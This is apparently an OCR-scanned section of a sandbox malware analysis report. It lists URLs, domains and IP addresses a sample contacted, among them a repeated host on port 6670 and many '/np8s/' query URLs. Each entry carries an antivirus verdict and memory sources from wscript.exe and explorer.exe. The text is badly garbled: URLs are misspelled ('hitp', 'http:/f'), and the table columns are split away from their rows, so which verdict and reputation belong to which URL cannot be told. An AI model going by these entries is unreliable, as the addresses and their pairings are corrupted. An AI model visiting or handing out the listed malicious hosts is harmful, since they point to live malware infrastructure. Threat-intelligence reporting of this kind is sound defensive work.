http://dilshadkhan.duia.ro:6670/Vre63209-4053062332-1000 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/VreKTsNCIZO 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/Vrew 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vret 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/Vreo 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/Vrep 100% Avira URL Cloud ~ malware
www.gafcbooster.com/np8s/ 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vrel 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/Vrei 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/VreXGxvY2Fs 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.r0:6670/Vreadkhan.d 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.r0:6670/Vre63209-4053062332-100 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/VrelTL 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreR 100% Avira URL Cloud  malware
http:/fwww.pdwfifi.com/np8s/ 100% Avira URL Cloud  malware
http://www.jlbwaterdamagerepairseattle.com/np8s/? 100% Avira URL Cloud ~ malware
4hM4=04B0f&zVB=d/nstEfJj6EqHIa063FJ0s9GUqA95KQHoqtaktjro/p2jHwIkCQ3yhCE01SUrSQk5nzI

http:ifdilshadkhan.duia.ro:6670/VreM 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/Vre-Agent((m 100% Avira URL Cloud malware
http:ifdilshadkhan.duia.ro:6670/VreG 100% Avira URL Cloud ~ malware
http://www.topings33.com/np8s/ 100% Avira URL Cloud malware
http:ifdilshadkhan.duia.ro:6670/Vrenter22 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/VrePSAIQ2wi 100% Avira URL Cloud malware
http.J/ https://www.domainnameshop.com/whois 0% Avira URL Cloud safe
http:ifdilshadkhan.duia.ro:6670/VreOD 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrr 100% Avira URL Cloud malware
http://www.muddybootslife.com/np8s/ 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrrm 100% Avira URL Cloud malware
http:{fwww.brawlhallacodestore.com/np8s/? 100% Avira URL Cloud ~ malware
ZVB=SjFSW0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291CcOnRXdmgbio7b0swgMzU3Pebjd8T&4hM4=0

4B0f

http:/f 0% URL Reputation safe
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=586484977799

8;gt

http://dilshadkhan.duia.ro:6670/Vrer: 100% Avira URL Cloud malware
hitp:/fwww.ratebill.com 0% Avira URL Cloud safe
http://dilshadkhan.duia.ro:6670/Vreadkhan.duu 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vreoft XMLHTTPII 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreG1C 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/ 100% Avira URL Cloud malware
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Source Detection Scanner Label Link

hitp:// https://www.domainnameshop.com/ 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
www.ratebill.com 137.220.133.198 true true unknown
www.medyumgalip.com 172.67.140.71 true true e 1%, Virustotal, Browse unknown
rasheedabossmoves.com 160.153.136.3 true true e 8%, Virustotal, Browse unknown
dilshadkhan.duia.ro 91.193.75.133 true true e 3%, Virustotal, Browse unknown
sekolahkejepang.com 103.247.11.212 true true unknown
www.refreshertowels.com 23.231.99.207 true true unknown
www.topings33.com 162.0.230.89 true true unknown
www.localbloom.online 185.134.245.113 true true unknown
www.pdwfifi.com 185.53.179.171 true true unknown
shop.freewebstore.org 52.17.85.125 true false high
www.jlbwaterdamagerepairseattle.com 170.39.76.27 true true unknown
www.68chengxinle.com 45.39.111.146 true true unknown
wWww.84866.xyz 35.241.47.216 true false unknown
WWW.070iwlp.xyz 134.122.201.217 true true unknown
www.tentanguang.online 185.27.134.149 true false unknown
muddybootslife.com 66.235.200.145 true true unknown
halecamilla.site 207.174.214.35 true true unknown
www.wps-mth.com unknown unknown  true unknown
www.muddybootslife.com unknown unknown  true unknown
www.spxtokensales.com unknown unknown  true unknown
www.rasheedabossmoves.com unknown unknown  true unknown
www.sekolahkejepang.com unknown unknown  true unknown
www.halecamilla.site unknown unknown  true unknown
www.brawlhallacodestore.com unknown unknown  true unknown
www.hengyuejiguang.com unknown unknown  true unknown
www.mysbaally.com unknown unknown  true unknown
www.gafcbooster.com unknown unknown  true unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.ratebill.com/np8s/ true e Avira URL Cloud: malware unknown
http:{fwww.refreshertowels.com/np8s/? true e Avira URL Cloud: safe unknown
zVB=MO+mSdLLNuwRQYoVJuGLVvO0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/04IGo+IW50u&4hM

4=04B0f

http:{fwww.refreshertowels.com/np8s/? true e Avira URL Cloud: safe unknown

ZVB=MO+mSdLLrNuwRQYoVJuGLVOI5Vniy3FDBQWibcj4un1GXTVLdefusF8/o4IGo+IW50u&CTr8
g=248HVPSHfp

http://www.ratebill.com/np8s/? true Avira URL Cloud: malware unknown
4hM4=04B0f&zVB=0AQ8ZAk71VYHsoGBQeS0cLLvyBMKMIAsSKOta2CkcQgnl+jMatCDHWZEKBja

kU6FhLRf

http:/fwww.rasheedabossmoves.com/np8s/? true Avira URL Cloud: malware unknown
4hM4=04B0f&zVB=pvCvVC1srqMzTu3VjZ/Pi4S7puQ7WYIroZs2vWEHISE4BkgUF4SEMYF7Qq3EY

WraDKw9

http://www.topings33.com/np8s/? true Avira URL Cloud: malware unknown
ZVB=+1vSQSU4VFPBNKL8EMH3DU8SMRg7YeugbcMOyIP3MOivye7s4zRc3erRZEMINrnM1ldbg&4h

M4=04B0f

http://www.halecamilla.site/np8s/? true Avira URL Cloud: safe unknown
zVB=/pe3of3KthIHX+AZdE400Bjh240MUm2DhTWzf9+6IBsOaTWyqOSb4stDRDmMzQmtt1180&4hM

4=04B0f

http://www.medyumgalip.com/np8s/? true Avira URL Cloud: safe unknown
zVB=vppS5AedQQffRIEeclZ7feN7VEirdPdpHk1lk+jbM2J+jzoAXquLk4CVs1G32f+IxImc&4hM4=04B

of

http://www.pdwfifi.com/np8s/? true Avira URL Cloud: malware unknown
4hM4=04B0f&zVB=xL/YIJAUY6uB/cHSIkc/r5VaZzJ7uMaOkbAtysG6BLNWT6huomjvuhg3RLIT5uw3R

UbD6
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https://www.virustotal.com/gui/url/21703700c066f696a87f36f6178c37c01ac6622988e7d9dd2de065d59a3a4487/detection/u-21703700c066f696a87f36f6178c37c01ac6622988e7d9dd2de065d59a3a4487-1653387641
https://www.virustotal.com/gui/url/85fd0798a613f7b1f4b49b86197169d60a258c99226a28185f2f5e80eda0251c/detection/u-85fd0798a613f7b1f4b49b86197169d60a258c99226a28185f2f5e80eda0251c-1653534284
https://www.virustotal.com/gui/url/45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd/detection/u-45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd-1653611247

Name
http://www.jlbwaterdamagerepairseattle.com/np8s/
http://www.brawlhallacodestore.com/np8s/
www.gafcbooster.com/np8s/
http://www.pdwfifi.com/np8s/

http://www.jlbwaterdamagerepairseattle.com/np8s/?

Malicious Antivirus Detection

true .

true

true

true

true

4hM4=04B0f&zVB=d/nstEfJj6EqHIa063FJ0s9GuqA95KQHoqtaktjr9/p2jHWIkCQ3yhCE01SUrSQk5n

Zl
http://www.topings33.com/np8s/
http://www.muddybootslife.com/np8s/

http://www.brawlhallacodestore.com/np8s/?

true

true

true

zVB=SjFSWO0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291CcOnRXdmgbio7b0swgMzU3Pebjd8T&4hM

4=04B0f
URLs from Memory and Binaries

Name

http://dilshadkhan.duia.ro:6670/VredmFyIGNO

http://dilshadkhan.duia.ro:6670/Vrext10

hitp://dilshadkhan.duia.ro:6670/Vre$s

http://
https://2542116.fls.doubleclick.net/activityi;src=254211
6;type=chrom322;cat=chrom01g;0rd=58648497779

http://dilshadkhan.duia.ro:6670/Vre-Agent((

http://dilshadkhan.duia.ro:6670/VrebWcgPSAi

hitp://dilshadkhan.duia.ro:6670/VreMw

http://https://www.google.com/chrome/thank-you.html?
statch=0&installdataindex=empty&defaultbrowser=0ytF
d.

hitp://dilshadkhan.duia.ro:6670/Vreadkhan.duum

http://https://www.google.com/chrome/

http:/f
https://2542116.fls.doubleclick.net/activityi;src=254211
6;type=clien612;cat=chromx;ord=1;num=3931852

http://www.msn.com/?ocid=iehp

http:/f
https://www.google.com/chrome/iehposignin141sntEs
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Source

wscript.exe, 00000005.00000002.995617824 true
.000002CA05530000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000002.961947849.0000019175800000.00
000004.00000020.00020000.00000000.sdmp,

wscript.exe, 00000009.00000002.966667032
.000002A0FDD80000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000007.00000002.973441987 true
.0000019175C0F000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000009.00000002.973024572 true
.000002A0FE375000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000004.00000000.51155298
2.000000000813C000.00000004.00000001.000
20000.00000000.sdmp

false

wscript.exe, 00000005.00000002.995617824 true
.000002CA05530000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000002.966667032.000002A0FDD80000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000002.00000002.961660167 true
.0000015597430000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000003.896415401 true
.0000015597A51000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000004.00000000.47462427 false
4.0000000007EF6000.00000004.00000001.000

20000.00000000.sdmp

wscript.exe, 00000007.00000002.961947849 true
.0000019175800000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000004.00000000.51750789
1.000000000DFC1000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
004.00000000.478929782.000000000DFF5000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000004.00000000.540379994.000000
000DFC1000.00000004.00000001.00020000.00
000000.sdmp

false

explorer.exe, 00000004.00000000.47720044 false
8.00000000081D3000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
004.00000000.537643218.00000000081D3000.

00000004.00000001.00020000.00000000.sdmp

explorer.exe, 00000004.00000000.51750789
1.000000000DFC1000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
004.00000000.478929782.000000000DFF5000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000004.00000000.540379994.000000
000DFC1000.00000004.00000001.00020000.00
000000.sdmp

false

explorer.exe, 00000004.00000000.47509510 false
8.0000000008044000.00000004.00000001.000

20000.00000000.sdmp

Malicious

Avira URL Cloud: malware
Avira URL Cloud: malware
Avira URL Cloud: malware
Avira URL Cloud: malware

Avira URL Cloud: malware

Avira URL Cloud: malware
Avira URL Cloud: malware

Avira URL Cloud: malware

Antivirus Detection

e Avira URL Cloud:

.

3

3

.

3

3

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

malware

malware

malware

malware

malware

malware

malware

Reputation
unknown
unknown
low
unknown

unknown

unknown
unknown

unknown

Reputation

unknown

unknown

unknown

high

unknown

unknown

unknown

high

unknown

high

high

high

high
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Name Source Malicious Antivirus Detection Reputation

http://dilshadkhan.duia.ro:6670/Vreox wscript.exe, 00000009.00000003.799097708 true e Avira URL Cloud: malware unknown
.000002A0FC3C2000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000003.798949584.000002A0FC3BA000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000009.00000003.796829092
.000002A0FC3A7000.00000004.00000020.0002
0000.00000000.sdmp

hitp://dilshadkhan.duia.ro:6670/VreMpN wscript.exe, 00000009.00000002.972932842 true
.000002A0FE300000.00000004.00000020.0002
0000.00000000.sdmp

3

Avira URL Cloud: malware unknown

.

http://dilshadkhan.duia.ro:6670/VrentWW wscript.exe, 00000005.00000003.919362750 true Avira URL Cloud: malware unknown
.000002CA03732000.00000004.00000020.0002

0000.00000000.sdmp, wscript.exe, 0000000

5.00000003.920503026.000002CA0373B000.00

000004.00000020.00020000.00000000.sdmp

hitp:// https://www.domainnameshop.com/whois? rundlI32.exe, 0000000D.00000002.10354731 false e Avira URL Cloud: safe unknown
currency=SEK&lang=sv 26.00000000049E2000.00000004.10000000.00
040000.00000000.sdmp

hitp:// https://www.google.com/chrome/thank-you.html? explorer.exe, 00000004.00000000.48806017 false high
statcb=0&installdataindex=empty&defaultbrowser=0m  3.0000000000F04000.00000004.00000020.000
20000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/VreMs& wscript.exe, 00000007.00000002.962073296 true
.0000019175BB8000.00000004.00000020.0002
0000.00000000.sdmp

Avira URL Cloud: malware unknown

3

Avira URL Cloud: malware unknown

3

http://dilshadkhan.duia.ro:6670/Vre9 wscript.exe, 00000009.00000003.795747446 true
.000002A0FE3C4000.00000004.00000020.0002
0000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/Vre2 wscript.exe, 00000005.00000003.921517592 true
.000002CA056E6000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000002.999768148.000002CA056E0000.00
000004.00000020.00020000.00000000.sdmp

Avira URL Cloud: malware unknown

3

http://dilshadkhan.duia.ro:6670/VreMF wscript.exe, 00000005.00000003.921517592 true
.000002CA056E6000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000002.999768148.000002CA056E0000.00
000004.00000020.00020000.00000000.sdmp

Avira URL Cloud: malware unknown

3

http://dilshadkhan.duia.ro:6670/Vre4 wscript.exe, 00000007.00000002.973441987 true
.0000019175C0F000.00000004.00000020.0002
0000.00000000.sdmp

Avira URL Cloud: malware unknown

3

Avira URL Cloud: malware unknown

.

hitp://dilshadkhan.duia.ro:6670/VreeX9 wscript.exe, 00000007.00000003.938446628 true

.0000019173A5D000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.938737820.0000019173A76000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000003.938565002
.0000019173A64000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.938264988.0000019173A54000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000002.961784713
.0000019173A77000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.938676812.0000019173A67000.00
000004.00000020.00020000.00000000.sdmp

hitp://dilshadkhan.duia.ro:6670/Vre0 wscript.exe, 00000002.00000003.896087228 true e Avira URL Cloud: malware unknown
.0000015597A8A000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000003.703640260.0000015597A27000.00
000004.00000020.00020000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/Vrel wscript.exe, 00000005.00000003.755909949 true e Avira URL Cloud: malware unknown
.000002CA03738000.00000004.00000020.0002
0000.00000000.sdmp

http://dilshadkhan.duia.ro:6670/Vrenter2 wscript.exe, 00000002.00000002.961961202 true e Avira URL Cloud: malware unknown
.0000015597A20000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.774305004.0000019173A76000.00
000004.00000020.00020000.00000000.sdmp

hitp:/f https://contextual. media.net/medianet.php? explorer.exe, 00000004.00000000.51771724 false high

cid=8CU157172&crid=858412214&size=306x271&http  0.000000000E01D000.00000004.00000001.000

s=1 20000.00000000.sdmp, explorer.exe, 00000
004.00000000.474624274.0000000007EF6000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000004.00000000.540526960.000000
000E01D000.00000004.00000001.00020000.00
000000.sdmp, explorer.exe, 00000004.0000
0003.572487291.000000000E01D000.00000004
.00000001.00020000.00000000.sdmp, explorer.exe,
00000004.00000000.478971428.000000000E01DO
00.00000004.00000001.00020000.00000000.sdmp
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Name

http://dilshadkhan.duia.ro:6670/KCQIm

hitp://dilshadkhan.duia.ro:6670/Vrets

hitp://dilshadkhan.duia.ro:6670/VreM:

http:/fwww.msn.com/de-ch/?ocid=iehpr2

http://dilshadkhan.duia.ro:6670/Vre)

http:/f

dilshadkhan.duia.ro:6670/VrecomputerNUMBER_OF_

H

hitp://dilshadkhan.duia.ro:6670/VreHGG

hitp://dilshadkhan.duia.ro:6670/VreoX&B

http://www.msn.com/?ocid=iehpHg9s

hitp:// https://www.google.com/chrome/92

hitp://dilshadkhan.duia.ro:6670/Vrenter2Pac

hitp://dilshadkhan.duia.ro:6670/Vre~

hitp://dilshadkhan.duia.ro:6670/VreZXBsYWNI

http:// dilshadkhan.duia.ro:6670/Vre63209-
4053062332-1000

http.// dilshadkhan.duia.ro:6670/VreKTsNCIZO

hitp://dilshadkhan.duia.ro:6670/Vrew

hitp://dilshadkhan.duia.ro:6670/Vret
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Source

wscript.exe, 00000009.00000003.512513259
.000002A0FE165000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000009.00000002.973024572
.000002A0FE375000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000005.00000002.999768148
.000002CA056E0000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000004.00000000.51750789
1.000000000DFC1000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
004.00000000.478929782.000000000DFF5000.
00000004.00000001.00020000.00000000.sdmp,

explorer.exe, 00000004.00000000.540379994.000000

000DFC1000.00000004.00000001.00020000.00
000000.sdmp

wscript.exe, 00000005.00000003.919362750
.000002CA03732000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000003.920503026.000002CA0373B000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000009.00000003.798741707
.000002A0FE393000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000003.797946340.000002A0FE38D000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000009.00000003.798562853
.000002A0FE392000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000007.00000003.773058007
.0000019175C95000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000007.00000002.962073296
.0000019175BB8000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000004.00000000.47509510
8.0000000008044000.00000004.00000001.000
20000.00000000.sdmp

explorer.exe, 00000004.00000000.51750789
1.000000000DFC1000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
004.00000000.478929782.000000000DFF5000.
00000004.00000001.00020000.00000000.sdmp,

explorer.exe, 00000004.00000000.540379994.000000

000DFC1000.00000004.00000001.00020000.00
000000.sdmp

wscript.exe, 00000009.00000003.796829092
.000002A0FC3A7000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000003.797967352.000002A0FC3D3000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000007.00000002.973441987
.0000019175C0F000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000002.961660167
.0000015597430000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000003.895989838
.0000015597AB9000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000002.970059033.0000015597A51000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000002.00000002.961660167
.0000015597430000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000005.00000002.964582567
.000002CA03739000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000007.00000002.962073296
.0000019175BB8000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.938835842.0000019175BB7000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000003.773589121
.0000019175BB7000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

true

true

true

false

true

true

true

true

false

false

true

true

true

true

true

true

true

Antivirus Detection

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

3

3

3

3

3

3

3

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

malware

malware

malware

malware

malware

malware

malware

Reputation

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown

high

high

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

http:/f
https://www.google.com/chrome/static/images/favicons
[favicon-16x16.png

hitp://dilshadkhan.duia.ro:6670/Vreo

http://dilshadkhan.duia.ro:6670/Vrep

hitp://dilshadkhan.duia.ro:6670/Vrel

hitp://dilshadkhan.duia.ro:6670/Vrei

hitp://dilshadkhan.duia.ro:6670/VreXGxvY2Fs

http:/f
https://login.microsoftonline.com/common/oauth2/auth
orize?client_id=9ealad79-fdb6-4f9a-8bc3-2b70f96e

hitp://dilshadkhan.duia.ro:6670/Vreadkhan.d

hitp://dilshadkhan.duia.ro:6670/Vre63209-
4053062332-100

Copyright Joe Security LLC 2022

Source

explorer.exe, 00000004.00000000.47509510
8.0000000008044000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
004.00000000.475980973.000000000811E000.
00000004.00000001.00020000.00000000.sdmp

wscript.exe, 00000002.00000002.970059033
.0000015597A51000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.938835842.0000019175BB7000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000009.00000003.796829092
.000002A0FC3A7000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000003.797967352.000002A0FC3D3000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000009.00000003.796829092
.000002A0FC3A7000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000003.797967352.000002A0FC3D3000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000005.00000003.919362750
.000002CA03732000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000003.920503026.000002CA0373B000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000002.00000002.978866316
.0000015597A7D000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000007.00000002.961947849
.0000019175800000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000002.966667032.000002A0FDD80000.00
000004.00000020.00020000.00000000.sdmp

explorer.exe, 00000004.00000000.53662481
2.0000000007FFF000.00000004.00000001.000
20000.00000000.sdmp

wscript.exe, 00000002.00000002.961660167
.0000015597430000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000002.995617824.000002CA05530000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000002.961947849
.0000019175800000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000002.966667032.000002A0FDD80000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000005.00000003.919796248
.000002CA03757000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000003.921500706.000002CA03757000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000005.00000003.755644912
.000002CA03755000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.937481985.0000019175C88000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000003.773445797
.0000019175C51000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.938372471.0000019175C8D000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000003.774215223
.0000019175C5E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.937512517.0000019175C5E000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000009.00000002.973084193
.000002A0FE3BB000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000003.797669252.000002A0FE3BB000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000009.00000003.798581012
.000002A0FE39B000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000003.796772281.000002A0FE3B9000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000009.00000003.797946340
.000002A0FE38D000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000003.796252633.000002A0FE3B0000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000009.00000003.798562853
.000002A0FE392000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

false

true

true

true

true

true

false

true

true

Antivirus Detection

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

Reputation

high

unknown

unknown

unknown

unknown

unknown

high

unknown

unknown
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Name

http:/fhttps://contextual.media.net/checksync.php?
&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57
XIG&prvid=77%2

hitp://dilshadkhan.duia.ro:6670/Vrel TL

hitp://dilshadkhan.duia.ro:6670/VreR

hitp://dilshadkhan.duia.ro:6670/VreP

hitp:/f https://www.google.com/chrome/thank-you.html?
statcb=0&installdataindex=empty&defaultbrowser=0

hitp:// https://www.domeneshop.no/whois

hitp://dilshadkhan.duia.ro:6670/VreM

http://dilshadkhan.duia.ro:6670/Vre-Agent((m

hitp://dilshadkhan.duia.ro:6670/VreG

hitp://dilshadkhan.duia.ro:6670/Vrel
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Source Malicious

explorer.exe, 00000004.00000000.47657787 false
0.0000000008172000.00000004.00000001.000
20000.00000000.sdmp

wscript.exe, 00000007.00000003.774092404 true
.0000019175C88000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000003.773130942.0000019175C83000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000005.00000003.919362750 true
.000002CA03732000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000003.920503026.000002CA0373B000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000005.00000003.754939043 true
.000002CA057A0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000002.964582567.000002CA03739000.00
000004.00000020.00020000.00000000.sdmp

explorer.exe, 00000004.00000000.61426277 false
3.0000000000E38000.00000004.00000020.000
20000.00000000.sdmp, explorer.exe, 00000
004.00000000.614755248.0000000000F04000.
00000004.00000020.00020000.00000000.sdmp,
explorer.exe, 00000004.00000000.524881667.000000
0000F04000.00000004.00000020.00020000.00
000000.sdmp, explorer.exe, 00000004.0000
0000.524457764.0000000000E38000.00000004
.00000020.00020000.00000000.sdmp, explorer.exe,
00000004.00000000.488060173.0000000000F040
00.00000004.00000020.00020000.00000000.sdmp,
explorer.exe, 00000004.00000000.487873413.000
0000000E38000.00000004.00000020.00020000
.00000000.sdmp

rundll32.exe, 0000000D.00000002.10354731 false
26.00000000049E2000.00000004.10000000.00
040000.00000000.sdmp

wscript.exe, 00000002.00000002.961660167 true

.0000015597430000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000002.959396798.0000015595552000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000002.00000002.970059033
.0000015597A51000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000003.921517592.000002CA056E6000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000005.00000002.999768148
.000002CA056E0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000002.995617824.000002CA05530000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000007.00000002.961147065
.0000019173A2A000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
7.00000002.961947849.0000019175800000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000009.00000003.799097708
.000002A0FC3C2000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000003.798949584.000002A0FC3BA000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000009.00000002.966615187
.000002A0FC3C3000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000002.966667032.000002A0FDD80000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000009.00000003.796829092
.000002A0FC3A7000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000007.00000002.961947849 true
.0000019175800000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000003.896542475 true
.0000015597A95000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000003.896087228.0000015597A8A000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000005.00000003.919362750 true
.000002CA03732000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000003.920503026.000002CA0373B000.00
000004.00000020.00020000.00000000.sdmp

Antivirus Detection

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

Reputation

high

unknown

unknown

unknown

high

high

unknown

unknown

